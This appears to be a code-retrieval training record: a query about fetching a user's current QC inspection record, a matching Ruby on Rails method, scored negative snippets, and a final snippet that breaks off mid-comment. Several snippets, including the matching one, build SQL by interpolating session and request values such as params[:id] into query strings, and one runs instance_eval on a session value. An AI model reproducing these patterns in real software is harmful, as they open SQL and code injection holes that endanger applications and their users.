"def enter_result(test_data)\n hide_notifications_bar\n wait_for_element_and_type(result_text_area, test_data[UseOfCollections::RESULT.name])\n end"
] |
[
"0.5209609",
"0.48895437",
"0.4873477",
"0.48674485",
"0.48023129",
"0.47934574",
"0.47310987",
"0.47115493",
"0.46786392",
"0.46770322",
"0.46750233",
"0.46645513",
"0.4633034",
"0.46070188",
"0.4604914",
"0.45972288",
"0.45910788",
"0.45899287",
"0.4585797",
"0.45814595",
"0.4572432",
"0.45592928",
"0.45511565",
"0.45511565",
"0.45511565",
"0.45511565",
"0.45458418",
"0.45406434",
"0.45318633",
"0.45241833",
"0.45241833",
"0.45241833",
"0.45208865",
"0.45162794",
"0.4498653",
"0.44978067",
"0.449393",
"0.4490256",
"0.4481365",
"0.44657478",
"0.4461244",
"0.4461244",
"0.4455428",
"0.44553038",
"0.44553038",
"0.44553038",
"0.44553038",
"0.44553038",
"0.44553038",
"0.4452049",
"0.4440802",
"0.4425311",
"0.4420041",
"0.4419652",
"0.44191954",
"0.44183967",
"0.44168407",
"0.44153658",
"0.44092813",
"0.44091916",
"0.44080785",
"0.44070175",
"0.43991736",
"0.43929556",
"0.4389333",
"0.4378035",
"0.43766233",
"0.4372436",
"0.4368964",
"0.43685317",
"0.43674767",
"0.43664137",
"0.43618262",
"0.4348125",
"0.4342501",
"0.43367106",
"0.43362778",
"0.43310574",
"0.43297592",
"0.43273166",
"0.4316077",
"0.43144983",
"0.4311672",
"0.43105558",
"0.43094918",
"0.4305448",
"0.43018705",
"0.42986676",
"0.42980328",
"0.4293115",
"0.42907694",
"0.42906433",
"0.427871",
"0.42775795",
"0.427683",
"0.42751357",
"0.42737758",
"0.42702147",
"0.42669532",
"0.4260058"
] |
0.6463163
|
0
|
Get the current inspection record for the loggedin user and inspection type.
|
def get_current_inspection_record( user_id, qc_inspection_type_code )
ActiveRecord::Base.connection.select_one("select * from qc_current_inspections
where user_id = #{user_id}
and qc_inspection_type_code = '#{qc_inspection_type_code}'")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_identification_type\n if user_signed_in?\n @identification_type = current_user.cvs.find_by(params[:identification_type])\n end\n end",
"def current_qc_inspection\n return if authorise_for_web(program_name(params[:id]),'edit')== false\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_inspection_id.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n @qc_inspection = QcInspection.find(qc_current_inspection.qc_inspection_id)\n params[:id_value] = @qc_inspection.qc_inspection_type.qc_inspection_type_code\n params[:id] = @qc_inspection.id\n edit_qc_inspection\n end\n end",
"def log_current_inspection\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, @qc_inspection_type_code )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections (user_id, qc_inspection_type_code, qc_inspection_id)\n VALUES(#{session[:user_id].id}, '#{@qc_inspection_type_code}', #{@qc_inspection.id})\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections SET qc_inspection_id = #{@qc_inspection.id}\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{@qc_inspection_type_code}' \"))\n end\n end",
"def current_user\n if session[:donor_id]\n return Donor.find(session[:donor_id])\n end\n if session[:charityRep_id]\n return CharityRep.find(session[:charityRep_id])\n end\n end",
"def audit_user\n user = ::Sequel::Auditer::Railtie.user\n\n m = Kernel.const_get(associated_type)\n u = m.send(m.auditer_current_user_method) || send(m.auditer_current_user_method)\n return u unless u.nil?\n return user if u.nil? && !user.nil?\n\n nil\n rescue StandardError\n nil\n end",
"def find_attendance\n @attendance = Attendance.where(user: current_user, event: params[:event_id]).first\n end",
"def user\n return unless user_id && user_type\n return @user if instance_variable_defined?('@user')\n\n @user = user_type.constantize.find_by(id: user_id)\n end",
"def current_user\n @current_user ||= Reporter.find_by(uid: session[:uid])\n end",
"def getInfo\n if session[:userType] == \"Seller\"\n @usertype = \"Seller\"\n @CurrentSeller ||=Seller.find_by(id:session[:seller_id])\n elsif session[:userType] == \"User\"\n @CurrentUser ||=User.find_by(id:session[:user_id])\n if @CurrentUser.nil?\n @usertype = \"Guest\"\n else\n if @CurrentUser.admin == true\n @usertype = \"Admin\"\n else\n @usertype = \"User\"\n end\n end\n\n else\n @usertype = \"Guest\"\n end\n end",
"def current_user\n @current_user ||= Resident.where(id: session[:user_id], community_id: session[:commune_id])\n end",
"def details_view_admin\n @user = User.first(:conditions => { :user_record_id => params[:id], :user_record_type => 'Patient' })\n end",
"def inspections\n @inspections ||= DboInspection.where(\"MemberID = ? and BranchID = ?\", read_attribute('MemberID'), read_attribute('BranchID'))\n .order('InsDate DESC')\n end",
"def invited_user\n get_or_make_reference('User', @data, 'invited_user_id')\n end",
"def current_user(id, session_type = :user)\n session_type.to_s.camelize.constantize.find id\n end",
"def current_user\n @current_user ||= Admin.find_by(email: session[:email])\n @current_user ||= Developer.find_by(email: session[:email])\n end",
"def get_filter_context( inspection_type )\n qry = inspection_type.qc_filter_context_search || ''\n if qry.strip == ''\n errors.add_to_base \"QC Inspection Type '#{inspection_type.qc_inspection_type_code}' does not have a filter context search.\"\n return nil\n end\n\n qry.gsub!('{business_object_id}', self.business_object_id.to_s)\n records = QcInspection.find_by_sql( qry )\n if records.nil? || records.empty?\n errors.add_to_base \"filter context search returned no values for business object id #{self.business_object_id}.\" \n nil\n else\n records.first\n end\n end",
"def current_user\n User::TYPES.each do |mapping|\n user = self.send(\"current_#{mapping.to_s.downcase}\")\n return user unless user.nil?\n end\n end",
"def current_user\n data[:users][@current_user['id']] ||= @current_user\n data[:identities][@current_user_identity['id']] ||= @current_user_identity\n\n @current_user\n end",
"def current_user\n if session[\"warden.user.user.key\"]\n @current_user ||= User.find(session[\"warden.user.user.key\"][0][0])\n elsif session[\"warden.user.student.key\"]\n @current_user ||= User.find(session[\"warden.user.student.key\"][0][0])\n elsif session[\"warden.user.expert.key\"]\n @current_user ||= User.find(session[\"warden.user.expert.key\"][0][0])\n end\n end",
"def user()\n return @data[\"access\"][\"user\"]\n end",
"def current_user\n @current_user ||= ::User.send(\"find_by_#{self.identifier_attribute}!\", session[identifier_name])\n rescue ActiveRecord::RecordNotFound\n nil\n end",
"def current_invoice\n invoices.opened.first\n end",
"def current_user\n puts \"Finding user: \" + session[:user_id].to_s\n if session[:user_role] == 'Customer'\n @current_user ||= Customer.find_by(CustomerID: session[:user_id])\n else\n @current_user ||= Employee.find_by(EmployeeID: session[:user_id])\n end\n end",
"def current_user\n @current_user = current_user_session && current_user_session.record\n end",
"def show\n @user = User.find(session[:user_id])\n @user_invitees = Invitation.where(user: User.find(session[:user_id])).where(invited: true)\n @user_invitors = Invitation.where(invitee: User.find(current_user)).where(invited: true)\n @invitors = Invitation.where(invited: User.find(current_user)).where(invited: false)\n end",
"def current_officer\n if (officer_id = session[:officer_id])\n @current_officer ||= Officer.find(officer_id)\n elsif (officer_id = cookies.signed[:officer_id])\n officer = Officer.find(officer_id)\n if officer && officer.authenticated?(cookies[:remember_token])\n log_in officer\n @current_officer = officer\n end\n end\n end",
"def current_user\n self.data[:users][@current_user[\"id\"]] ||= @current_user\n self.data[:identities][@current_user_identity[\"id\"]] ||= @current_user_identity\n\n @current_user\n end",
"def current_user\n self.data[:users][@current_user[\"id\"]] ||= @current_user\n self.data[:identities][@current_user_identity[\"id\"]] ||= @current_user_identity\n\n @current_user\n end",
"def user_details\n @user = current_user\n invitation = @user.invitation\n if invitation.present?\n solo_restaurant_name = invitation.restaurant_id ? \n Restaurant.find(invitation.restaurant_id).name :\n invitation.restaurant_name\n @user.build_default_employment(:solo_restaurant_name => solo_restaurant_name, \n :restaurant_role => invitation.restaurant_role, :subject_matters => invitation.subject_matters)\n else\n @user.build_default_employment\n end\n @user.build_profile\n end",
"def current_user\n @current_user || Employee.find(session[:employee_id]) if session[:employee_id]\n end",
"def current_user\n @current_user ||= current_user_session.record unless current_user_session.nil?\n end",
"def current_user\n # logged_in? ? auth_session.user : nil\n @_auth_current_user ||= auth_session.user_type.constantize.find(auth_session.user_id) if logged_in?\n end",
"def current_foodie\n # User.find would throw an error if we cannot find the user\n Foodie.find_by({ id: session[:foodie_id] })\n end",
"def user\n\t\t\treturn nil if ! logged_in?\n\n\t\t\tPicombo::Session.instance.get('user')\n\t\tend",
"def user\n return @user\n end",
"def user\n return @user\n end",
"def current_user\n # User.find would throw an error if we cannot find the user\n if session[:user_id]\n User.find_by({ id: session[:user_id] })\n else\n Dog.find_by({ id: session[:dog_id] })\n end\n end",
"def get_user(uid)\n @inv = User.find_by_id(uid)\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def current_user\n if @current_user.nil?\n if ( ! session[ApplicationController::KEY_CURRENT_USER_ID].blank? )\n user_class = session[ApplicationController::KEY_CURRENT_USER_CLASS];\n return nil if user_class.blank?\n @current_user = user_class.instance_eval( \"#{user_class}.find(#{session[ApplicationController::KEY_CURRENT_USER_ID]})\" );\n end\n end\n return @current_user;\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def current_entry\n Entry.by_user(current_user)\n .find(params[:id])\n end",
"def current_interestID\n if current_user == nil\n @current_interestID = nil\n elsif UserInterestMapping.where(userID: current_user[:id]) == []\n @current_interestID = nil\n else\n @current_interestID = UserInterestMapping.where(userID: current_user[:id])[0][:interestID]\n end\n @current_interestID\n end",
"def show\n if current_user\n @raincheck = Raincheck.find_by(user_id: current_user.id, user_type: 1)\n else\n @raincheck = Raincheck.find_by(user_id: current_muser.id, user_type: 2)\n end\n end",
"def get_current_issue\r\n cover_page = @agent.get \"http://www.economist.com/printedition\"\r\n get_issue_from_cover_page(cover_page)\r\n end",
"def current_user\n if session[:user_id]\n User.find(session[:user_id])\n else\n nil\n end\n end",
"def user\r\n return for_context(nil, false) { |c| c.user }\r\n end",
"def user\n User.where(id: object.user_id)[0]\n end",
"def current_person\n unless @cp and @request.session[:user_id]\n @cp = User.get(@request.session[:user_id])\n end\n @cp\n end",
"def current_user\n if session[:user_id]\n return @user ||= User.find(session[:user_id]['$oid'])\n else\n return nil\n end\n end",
"def last_encounter\n Encounter.where(:user_id => self.id).last\n end",
"def get_logged_in_user\n if @logged_in\n if Student.exists?(session[:id])\n @logged_in_user = Student.find(session[:id])\n elsif Marker.exists?(session[:id])\n @logged_in_user = Marker.find(session[:id])\n end\n end\n end",
"def getUser()\n\t\treturn @user\n\tend",
"def current_user\n # If current_user is set, otherwise ask the data store.\n @current_user ||= User.find_by(id: session[:user_id])\n end",
"def user_for_audit_me\n current_user rescue nil\n end",
"def show\n @openrec = Openrec.find(params[:id])\n @user = @openrec.user\n end",
"def current_user\n if session[:user_id]\n User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n return nil unless valid_session?\n\n OpenStruct.new(\n id: session['uid'],\n email: session['email']\n )\n end",
"def current_user\n if session[:type] == \"student\"\n current_student()\n elsif session[:type] == \"professor\"\n current_professor()\n else\n @current_user = \"ERROR: NO USER TYPE\"\n end\n end",
"def current_user\n @current_user ||= begin\n if session[:user_id]\n user = User.where(id: session[:user_id])\n user[0] if user.any?\n end\n end\n # @current_user ||= User.find session[:user_id] if session[:user_id]\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n User.where(id: session[:user_id]).first\n end",
"def current_user\n\n sql = \"SELECT * FROM users WHERE id = $1;\"\n \n results = run_sql(sql, [session[:user_id]]) \n return results.first\n end",
"def current_user\n get_from_options_or_controller(:current_user)\n end",
"def user_type\n return session[:user_type] if session[:user_type]\n # return logged_user.class.name if logged_user\n end",
"def current_user\n # Designer.first\n current_designer\n end",
"def current_user\n Designer.first\n end",
"def lookup_user\n self.class.send(:session_model_for_this_controller).find_by_id(\n session[:session_id]\n ).try(:user)\n end",
"def user\n @user ||= Innsights::Fetchers::User.new(@user_object) if @user_object\n end",
"def get_user\n instance_variable_get(\"@#{user_type}\")\n end",
"def get_user\n\t\treturn Account.find(self.account_id)\n\tend",
"def user\r\n return @user\r\n end",
"def current_user\n begin \n User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n nil\n end\n end",
"def user\n @user\n end",
"def current_user\n User.where(email: session[:email]).first\n end",
"def user\n return self['user'] if self['user'].is_a?(User)\n User.new(self['user']) if self['user']\n end",
"def user\n user_id.get_object\n end",
"def find_referring_record\n return unless @ref_record_type\n\n ref_item_class_name = @ref_record_type.singularize.camelize\n\n # Find the matching UserBase subclass that has this name, avoiding using the supplied param\n # in a way that could be risky by allowing code injection\n ic = UserBase.class_from_name ref_item_class_name\n\n # Look up the item using the item_id parameter.\n @referring_record = ic.find(@ref_record_id.to_i)\n @referring_record.current_user = current_user\n @referring_record\n end",
"def current_user\n if session[:user_id]\n user = User.find(session[:user_id])\n else\n nil\n end\n end",
"def current_user\n if payload\n @current_user ||= User.find(payload[:user_id])\n else\n @current_user = nil\n end\n end",
"def current_user\n # if current_user is et use it otherwise ask the data store\n @current_user ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n logger.warn \"WARNING: User#current is not defined, are you including SentientUser on your User model?\" unless User.respond_to?(:current)\n logger.warn \"WARNING: User#current is nil, are you including SentientController on your ApplicationController?\" unless User.current\n\n User.current\n end",
"def current_user\n\t\tif session[:user_id].present?\n\t\t\tUser.find(session[:user_id])\n\t\tend\n\tend",
"def current_user\n if session[:user_id]\n return User.find(session[:id])\n else\n return nil\n end\n end",
"def curr_user\n unless session[:user_id].nil?\n @curr_user = User.find(session[:user_id])\n end\n end",
"def get_logged_user()\n begin\n #logger.warn \"session[:logged_user_id]=#{session[:logged_user_id].inspect}\"\n if session[:logged_user_id]\n @current_user ||= User.find(session[:logged_user_id])\n end\n rescue\n logger.warn \"Oups I'can't find user with id=#{session[:logged_user_id].inspect}\"\n nil\n end\n end",
"def current_employee\n @current_employee ||= Employee.find_by(email: session[:email]) if session[:email]\n end",
"def user\n datastore['POP2USER']\n end",
"def user_from_session\n case RAILS_ENV\n when 'production'\n @user = User.find( :first, :conditions => {\n :screen_name => session[:screen_name],\n :token => session[:access_token]\n })\n when 'development'\n logger.debug 'session = '+session.inspect\n @user = User.find( :first, :conditions => {\n :screen_name => DEBUG_SCREEN_NAME\n })\n #nil\n end\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def home\n @cases = current_user.cases.type_hash\n end",
"def userinfo\n @participant = Participant.find(session[:user])\n end",
"def find_review_user\n if params[:user_id] && @current_user_roles.include?('admin')\n @current_api_user = Spree.user_class.find(params[:user_id])\n end\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end"
] |
[
"0.61430204",
"0.611974",
"0.6014599",
"0.59748006",
"0.5923573",
"0.5519745",
"0.5516016",
"0.54654187",
"0.5464543",
"0.5397729",
"0.53937167",
"0.5379367",
"0.536892",
"0.53654844",
"0.53334224",
"0.53231543",
"0.53115535",
"0.5309444",
"0.5309338",
"0.5299606",
"0.528398",
"0.52835727",
"0.5281735",
"0.5264187",
"0.5235281",
"0.5228996",
"0.5218865",
"0.5218865",
"0.52097106",
"0.5207652",
"0.5196685",
"0.5195753",
"0.5187995",
"0.5162653",
"0.51579034",
"0.51579034",
"0.5157248",
"0.5157053",
"0.51545537",
"0.51545537",
"0.51456493",
"0.5141576",
"0.51327384",
"0.5126169",
"0.51223433",
"0.5115327",
"0.51148134",
"0.5111953",
"0.51097417",
"0.5108752",
"0.5106199",
"0.51029485",
"0.5100472",
"0.51002866",
"0.5097751",
"0.5095973",
"0.5088309",
"0.50870305",
"0.50847936",
"0.5081817",
"0.5078636",
"0.50750434",
"0.50750434",
"0.5073654",
"0.507199",
"0.507088",
"0.50700545",
"0.50662464",
"0.5054745",
"0.50485414",
"0.5040842",
"0.50374454",
"0.5025846",
"0.50229776",
"0.5020856",
"0.50197226",
"0.50142455",
"0.50128275",
"0.5008619",
"0.5006996",
"0.5004409",
"0.50043863",
"0.5000874",
"0.49960348",
"0.49954122",
"0.49925736",
"0.499069",
"0.4989501",
"0.49881604",
"0.4986146",
"0.49859557",
"0.4983761",
"0.4983761",
"0.4983761",
"0.49834284",
"0.4978103",
"0.4978002",
"0.49775755",
"0.49775755",
"0.49775755"
] |
0.7372813
|
0
|
Record the inspection that the user is currently working on.
|
def log_current_inspection
qc_current_inspection = get_current_inspection_record( session[:user_id].id, @qc_inspection_type_code )
if qc_current_inspection.nil?
ActiveRecord::Base.connection.execute("INSERT INTO qc_current_inspections (user_id, qc_inspection_type_code, qc_inspection_id)
VALUES(#{session[:user_id].id}, '#{@qc_inspection_type_code}', #{@qc_inspection.id})")
else
ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request("UPDATE qc_current_inspections SET qc_inspection_id = #{@qc_inspection.id}
WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{@qc_inspection_type_code}' "))
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def change_status_to_in_progress\n user = User.find_by(id: params[:user_id])\n user.send_issue_assigned_email\n issue = Issue.find_by(id: params[:id])\n expert = User.find_by(id: params[:expert_id])\n issue.update_attributes(status: \"inprogress\", expert_id: expert.id)\n flash[:success] = \"Issue status changed to in progress! Assigned to #{expert.username}\"\n redirect_to issues_path\n end",
"def work_in_progress\n has_wip_label = danger_file.github.pr_labels.any? { |label| label.include? 'WIP' }\n has_wip_title = danger_file.github.pr_title.include? '[WIP]'\n\n danger_file.warn('PR is classed as Work in Progress') if has_wip_label || has_wip_title\n end",
"def working\n current_user.chef.toggle(:currently_working).save\n end",
"def log_new_workout(exercise, date)\n exercise_check = Exercise.search_exercise_by_name(exercise)\n exercise_instance = Exercise.all.find{|exercises| exercises.name == exercise}\n if exercise_check == \"Sorry. We don't have any workouts called #{exercise}. Please return to the main menu to create this new exercise and share with the rest of our FitMePan crew.\"\n return exercise_check\n else\n Workout.create(user_id: self.id, exercise_id: exercise_instance.id, date: date)\n end\n puts \"Thanks for logging your workout!\"\n end",
"def alert_check\n if current_user.role_id == 4\n @alert_check = Homework.last.id\n @notif_id = current_user.notification_id\n if @alert_check > @notif_id\n @alert = true\n # if @clicked \n # current_user.update_attribute(:notification_id, @alert_check)\n # @clicked = false\n # end \n else \n @alert = false\n end\n else\n# if statement below to ensure that new users do not get error because they do not have any assignments assigned to them.\n if current_user.notification_id != 0 \n @alert_check = Assignment.where(user_id: current_user.id).last.id\n\n @notif_id = current_user.notification_id\n if @alert_check > @notif_id\n @alert = true\n # if @clicked \n # current_user.update_attribute(:notification_id, @alert_check)\n # @clicked = false\n # end \n else \n @alert = false\n end\n end \n end\n end",
"def new_interview(user)\n @user = user\n mail to: user.email, subject: \"New Interview is added\"\n end",
"def interview_status_change(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Takeoff - Interview Request - \" + @interview.status\n \n mail to: @employer.email, subject: subject\n end",
"def status(user)\n if rest_day # Rest day if flag is set\n :rest\n else \n cw = CompletedWorkout.get(user, self)\n if cw\n if cw.mgr_override # Excused if there is a manager override\n :excused \n else\n :completed # Completed normally without mgr override\n end\n else\n if active?(user)\n :open\n else\n :expired\n end\n end\n end\n \n end",
"def instructions_work\n current_user = User.create(name: \"Joao\", email: \"[email protected]\", password: \"12345678\", nickname: \"joaovitor\")\n current_user.restore_attributes\n\n achieved_return = achieved?(current_user)\n if current_user.changed?\n errors.add(:achieved_instructions, \"Changing user information\")\n else\n # nothing to do\n end\n current_user.restore_attributes\n\n message_return = message(current_user)\n if current_user.changed?\n errors.add(:message_instructions, \"Changing user information\")\n else\n # nothing to do\n end\n\n return instructions_return_valid_class(achieved_return, message_return)\n end",
"def pre_lesson_reminder(user)\n @day = day_of_week_string(Date.tomorrow)\n @user = user\n mail to: user.email, subject: \"Reminder: Complete Pre-Lesson Information\"\n end",
"def place_on_hold(current_time = Time.now)\n self.review_status = ReviewStatus.find(:first, \n :conditions => \"name='Review On-Hold'\")\n self.placed_on_hold_on = current_time\n self.save\n end",
"def log_current_cusiness_context_query\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections\n (user_id, qc_inspection_type_code, qc_business_context_query, columns_list)\n VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',\n '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}', '#{session[:columns_list].to_yaml}')\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections\n SET qc_business_context_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}',\n columns_list = '#{session[:columns_list].to_yaml}'\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' \"))\n end\n end",
"def mite_tracker_start\n user_pref = User.current.preference\n Mite::Tracker.start(self[:mite_time_entry_id])\n user_pref.mite_tracker_data = {\n :active => true,\n :time => 0,\n :te_id => self[:id],\n :mite_te_id => self[:mite_time_entry_id],\n :mite_project_id => self[:mite_project_id],\n :mite_service_id => self[:mite_service_id],\n :issue_id => self[:issue_id],\n :issue_url => Rails.application.routes.url_helpers.issue_path(:id => self[:issue_id])}\n user_pref.save\n end",
"def format_self_submit_attendance(user)\n if object.self_submit_attendance\n attendance = Attendance.where(user_id: user.id, event_id: object.id)\n if attendance.count > 0\n if attendance.first.present == true\n 'You attended this event'\n else\n h.render partial: 'attendance/attendances/self_report',\n locals: { attendance: attendance.first }\n end\n end\n else\n 'You may not submit your own attendance for this event.'\n end\n end",
"def controller_issues_edit_after_save(context={ })\n if context[:time_entry] && context[:time_entry][:hours].present?\n if(context[:time_entry].user_id == context[:issue].assigned_to_id && context[:time_entry].activity.name[0..2].include?(\"BD\"))\n context[:controller].flash[:warning] = l(:notice_ayty_remember_fill_rest_bd,\n :hours => ( context[:issue].ayty_get_value_by_custom_field_name(\"Tempo Restante BD\",\n context[:issue].ayty_get_value_by_custom_field_name(\"Estimativa BD - hr\", 0)).to_f -\n context[:time_entry][:hours].to_f))\n end\n if(context[:time_entry].user_id == context[:issue].assigned_to_id && context[:time_entry].activity.name[0..2].include?(\"SIS\"))\n context[:controller].flash[:warning] = l(:notice_ayty_remember_fill_rest_sys,\n :hours => ( context[:issue].ayty_get_value_by_custom_field_name(\"Tempo Restante SIS\",\n context[:issue].ayty_get_value_by_custom_field_name(\"Estimativa SIS - hr\", 0)).to_f -\n context[:time_entry][:hours].to_f))\n end\n end\n end",
"def after_save\n begin\n # https://redmine.corp.halomonitor.com/issues/3215\n #\n unless user.blank?\n # \n # Wed Feb 9 23:26:29 IST 2011, ramonrails\n # * this is the panic 'timestamp'\n # * we do not want any difference at all between timestamp in panic & user intake\n # \n # Thu Feb 10 23:17:52 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4180\n # * tiemstamp may really not be the recent one. We need Time.now\n _time_now = Time.now\n #\n # buffer for last panic row related to this user\n user.update_attribute( :last_panic_id, id) # no validations\n # * this is only for cucumber purpose\n if user.has_caregivers.any?(&:raises_exception?)\n raise \"Custom exception for BDD tests only\" # WARNING: this will not send emails until exception handling is added here\n end\n #\n # \n # \"Ready to Bill\" state if panic is\n # * after \"Desired Installation Date\"\n # * senior is member of safety care, but in test mode (partial test mode)\n # * only apply \"ready to bill\" state when current state is any of\n # * Ready to Install or Install Overdue\n # * \"Installed\" means, panic button was ok. user was \"Bill\"ed by human action\n _allowed_states = [User::STATUS[:install_pending], User::STATUS[:overdue]]\n if !user.desired_installation_date.blank? && (_time_now > user.desired_installation_date) && _allowed_states.include?( user.status.to_s)\n # \n # Fri Dec 17 21:01:27 IST 2010, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/3891\n if user.order_placed_online?\n # transition the user from \"Ready to Install\" => \"Ready to Bill\"\n # * We need \"bill\" state when order was placed online\n if user.subscription_successful?\n # * already \"billed\". we can simply go to \"Installed\" state\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n else\n user.update_attribute( :status, User::STATUS[:bill_pending]) # \"Ready to bill\". no validations\n end\n else\n # * just mark the user \"Installed\", when created directly from user intake\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n end\n # # \n # # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # # * Pro rata is charged from the date we received panic button after \n # user.user_intakes.first.update_attribute( :panic_received_at, _time_now) unless user.user_intakes.blank?\n #\n # add triage_audit_log with a message\n _message = \"Automatically transitioned from 'Ready to Insall' to 'Ready to Bill' state at 'Panic button'\"\n\n # \n # Wed Dec 1 03:36:39 IST 2010, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/3786\n # * if subscription was already charged, mark user \"installed\"\n elsif (user.status.to_s == User::STATUS[:bill_pending]) && user.subscription_successful?\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n # # \n # # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # # * Pro rata is charged from the date we received panic button after \n # user.user_intakes.first.update_attribute( :panic_received_at, _time_now) unless user.user_intakes.blank?\n #\n # add triage_audit_log with a message\n _message = \"Automatically transitioned from any existing state to 'Installed' state at 'Panic button' because subscription started before panic event.\"\n end\n # \n # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # * Pro rata is charged from the date we received panic button after \n # Fri Dec 17 21:03:40 IST 2010, ramonrails\n # * This is common method call for \"if\" conditions above\n unless user.user_intakes.blank?\n _intake = user.user_intakes.first\n # \n # Fri Feb 11 00:48:03 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4181\n # * we need panic_received_at and installed_at to reflect the actual timestamp\n # * we cannot however switch the status to \"Installed\" as we want a concurrent \"Ready to Bill\" status\n # if panic < desired \n # panic_received_at is not updated and stays blank\n # elsif (panic > desired or desired.blank?)\n if _intake.installation_datetime.blank? || ( _time_now > _intake.installation_datetime )\n # only the first panic updates panic_received_at, ignore subsequent panics\n if _intake.panic_received_at.blank?\n _intake.update_attribute( :panic_received_at, _time_now)\n # send \"<halouser> installed\" email\" \n user.notify_about_installation\n # \n # update User.installed_at\n # Tue May 24 23:08:25 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4486\n # * Installed at should not be updated when panic button is sent before \"Ready for Approval\" state\n # * status.blank? means 'Not Submitted'\n user.update_attribute( :installed_at, _time_now) unless user.status.blank?\n # \n # make all caregivers active\n # Fri Feb 4 01:06:31 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4147\n # all caregivers are active now\n user.has_caregivers.each { |e| e.set_active_for( user, true) }\n # Installed timestamp in the \"Status\" column of Single Row User Intake\n # * updated in _user_intake_row.html.erb\n #\n # Completely disable test mode (User.test_mode = false)\n # \n # Fri Feb 4 22:31:15 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4152\n # * make user out of test mode here\n user.test_mode = false\n user.send( :update_without_callbacks)\n end\n end\n # # \n # # Fri Jan 28 02:15:27 IST 2011, ramonrails\n # # * https://redmine.corp.halomonitor.com/issues/4111#note-7\n # # * update the Panic.after_save, only store the first panic after installation_datetime, not every subsequent panic\n # if _intake.installation_datetime.blank?\n # # Installation date time blank?\n # ## First panic stored\n # ## Subsequent panics do not over-write the first stored one\n # _intake.update_attribute( :panic_received_at, _time_now) if _intake.panic_received_at.blank?\n # \n # elsif _intake.panic_received_at.blank? || (_intake.panic_received_at < _intake.installation_datetime)\n # # Installation date time given?\n # ## First panic after the timestamp, is stored. Overwriting any existing one that might have existed before the timestamp\n # ## Subsequent panics do not overwrite the existing stored one\n # _intake.update_attribute( :panic_received_at, _time_now)\n # end\n end\n\n #\n # add to triage audit log with a message\n if defined?( _message) && !_message.blank?\n #\n # add a row to triage audit log\n # cyclic dependency is not created. update_withut_callbacks is used in triage_audit_log\n attributes = {\n :user => user,\n :is_dismissed => user.last_triage_status,\n :status => user.status,\n :created_by => user.id,\n :updated_by => user.id,\n :description => _message\n }\n TriageAuditLog.create( attributes)\n end\n\n # Wed Nov 3 23:33:00 IST 2010, ramonrails \n # Old logic: \"Installed\" state can only be achieved by manual human action by clicking \"Bill\" in user intake\n # shifted now to user_intake.rb\n # # \n # # Ready for Install > Installed (green) is automatically transitioned\n # # Check for panic button test (must occur after the install date)\n # auto_install = ((user.status == User::STATUS[:install_pending]) && (_time_now > user.desired_installation_date))\n # if auto_install\n # user.status = User::STATUS[:installed]\n # #\n # # explicitly send email to group admins, halouser, caregivers. tables are saved without callbacks\n # [ user,\n # user.user_intakes.collect(&:caregivers),\n # user.user_intakes.collect(&:group).flatten.uniq.collect(&:admins)\n # ].flatten.uniq.each do |_user|\n # UserMailer.deliver_user_installation_alert( _user)\n # end\n # end\n #\n # Wed Nov 3 23:34:26 IST 2010, ramonrails \n # used update_attribute with validation skipping instead\n # user.send(:update_without_callbacks) # quick fix to https://redmine.corp.halomonitor.com/issues/3067\n # \n # Wed Nov 3 23:37:05 IST 2010, ramonrails \n # user is already a member when partial test mode was 